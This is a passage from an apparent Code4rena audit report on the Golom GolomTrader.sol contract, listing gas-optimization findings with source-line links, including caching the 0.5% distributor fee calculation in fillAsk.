https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/core/GolomTrader.sol#L300-L301 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/core/GolomTrader.sol#L303-L304 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/core/GolomTrader.sol#L360-L361 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/core/GolomTrader.sol#L363-L364

Recommended mitigation steps

Remove the unnecessary variables and replace the variable name with the code directly.

[G-05] Store expensive calculation in variables

Description

On the contrary, some complex calculations could benefit from being stored in memory variables to prevent recalculating it every time it is used. One such occurence is the 0.5% fee calculation for the distributor in the fillAsk function.

Findings

https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/core/GolomTrader.sol#L212 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/core/GolomTrader.sol#L242 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/core/GolomTrader.sol#L254 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/core/GolomTrader.sol#L263 https://github.com/code-423n4/2022-07-golom/blob/7bbb55fca61e6bae29e57133c1e45806cbb17aa4/contracts/core/GolomTrader.sol#L269

Recommended mitigation steps

Avoid duplicating complex calcuations and store them in memory variables instead.